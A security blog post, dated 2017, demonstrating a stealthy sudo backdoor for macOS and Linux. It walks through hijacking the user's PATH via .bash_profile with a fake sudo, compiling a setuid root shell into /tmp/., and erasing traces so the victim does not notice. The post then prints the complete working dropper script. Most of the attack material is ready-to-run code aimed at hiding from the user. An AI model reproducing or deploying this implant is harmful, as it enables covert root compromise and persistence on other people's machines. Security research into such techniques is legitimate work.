Getting root without an exploit - stealth sudo backdoor

19 Oct 2017 21:59 | macOS | security | exploits

I've published several root privilege escalation bugs this year in various Mac
applications. I decided to see how difficult it would be to escalate privileges
on a machine without actually using an exploit. Having access to a local
account with sudo rights gives us an enormous attack surface for escalation.

Many of the dotfiles, which are nearly always user-writable for obvious reasons,
can be manipulated to divert the user's path and replace system utilities like
sudo.

This is a demo of how easy it is to drop a sudo backdoor into a user's home
directory with as little chance of them noticing as possible. We have a dropper
bash script that installs the implant. The implant creates the following
directory in the user's home:

~/.,

and in here we put a script named "sudo" which is our backdoor. Then we append
two lines to the user's .bash_profile like this:

PATH=~/.,:$PATH #374686348234823
set +h #374686348234823

This is to redirect the PATH environment variable to look in our new ,.
directory first to find sudo. We call "set +h" to disable hashing, otherwise if
the user executed our script, after it deletes itself they would get a "No such
file or directory" error the next time they tried to use sudo and would know
something's up.

The long commented numbers at the end of the lines allow us to reliably remove
them from the file later in our cleanup process without affecting any other
similar lines.

We also drop a backdoor shell binary into /tmp/., which elevates to root and
spawns a bash shell. We could compile this later - eg at the point of our
backdoor script being executed so it's not hanging around in the /tmp/
directory, but this would introduce a slightly noticeable delay when the user
runs sudo and generally most users have so much junk in their /tmp/ directory
that they're unlikely to notice it.

Now we wait for the user to open a new ssh connection (to load the new
.bash_profile). The next time they execute sudo, the backdoor script is executed
and first checks to see if it's root, if not then it appends itself in the chain
of sudo arguments and re-executes itself, so if the user executed:

$ sudo ls -la 

this would invoke the backdoor script, and *it* would then invoke:

$ /usr/bin/sudo ~/.,/sudo ls -la 

The user would then see a normal sudo password prompt and not suspect anything.
They authenticate, and this returns execution back to the start of our backdoor
script which is now running as root. This time it determines that it is running
as root, so it chown's the /tmp/., shell binary to root and sets it mode 4755.
It then removes the ~/., directory and the appended lines from the user's
.bash_profile to hide the fact that sudo was ever remapped. Because the user's
shell was launched with "set +h" in the .bash_profile, subsequent calls to sudo
will go straight to /usr/bin/sudo without causing any "No such file" errors
looking for the cached path.

The cool part of this is that we don't have to wait for the user to exit their
sudo bash session before our backdoor binary is chmod'd.

And now we've got a setuid binary we can simply execute to pop a root shell:

$ /tmp/.,
# uid=0(root) gid=0(root) groups=0(root)
#

https://m4.rkw.io/sudo_implant.sh.txt
115139276c0243f7314b87cd2c60e8344aa29ce56aad6f117a251737bb435baf
---------------------------------------------------------------------------
#!/bin/bash

####################################################
###### self-deleting sudo implant backdoor    ######
###### by m4rkw - https://m4.rkw.io/blog.html ######
####################################################

unique_number="374686348234823"
platform="`uname`"

if [ "$USER" == "root" ] ; then
  echo "er, lay off the weed. you're already root."
  exit 1
fi

cat > /tmp/exp.c <<EOF
#include <unistd.h>
int main()
{
  setuid(0);
  seteuid(0);
  execl("/bin/bash","bash",NULL);
  return 0;
}
EOF
gcc -o /tmp/., /tmp/exp.c
if [ $? -ne 0 ] ; then
  echo "failed to compile the exploit, gcc isn't working."
  rm -f /tmp/exp.c
  exit 1
fi
rm -f /tmp/exp.c

mkdir ~/., 2>/dev/null
cat > ~/.,/sudo <<EOF
#!/bin/bash
args=("\$@")
if [ "\`whoami\`" == "root" ] ; then
  if [ "$platform" == "Darwin" ] ; then
    /usr/bin/sudo chown root:wheel /tmp/.,
  else
    /usr/bin/sudo chown root:root /tmp/.,
  fi
  /usr/bin/sudo chmod 4755 /tmp/.,
  if [ "$platform" == "Darwin" ] ; then
    rm -rf /Users/$USER/.,
    sed -i '' '/^PATH=~\/\.,:\$PATH #$unique_number\$/d' /Users/$USER/.bash_profile
    sed -i '' '/^set +h #$unique_number\$/d' /Users/$USER/.bash_profile
  else
    rm -rf /home/$USER/.,
    sed -i '/^PATH=~\/\.,:\$PATH #$unique_number\$/d' /home/$USER/.bash_profile
    sed -i '/^set +h #$unique_number\$/d' /home/$USER/.bash_profile
  fi
  /usr/bin/sudo "\${args[@]}"
else
  /usr/bin/sudo ~/.,/sudo "\${args[@]}"
fi
EOF

chmod 755 ~/.,/sudo
echo "PATH=~/.,:\$PATH #$unique_number" >> ~/.bash_profile
echo "set +h #$unique_number" >> ~/.bash_profile

echo "implant installed."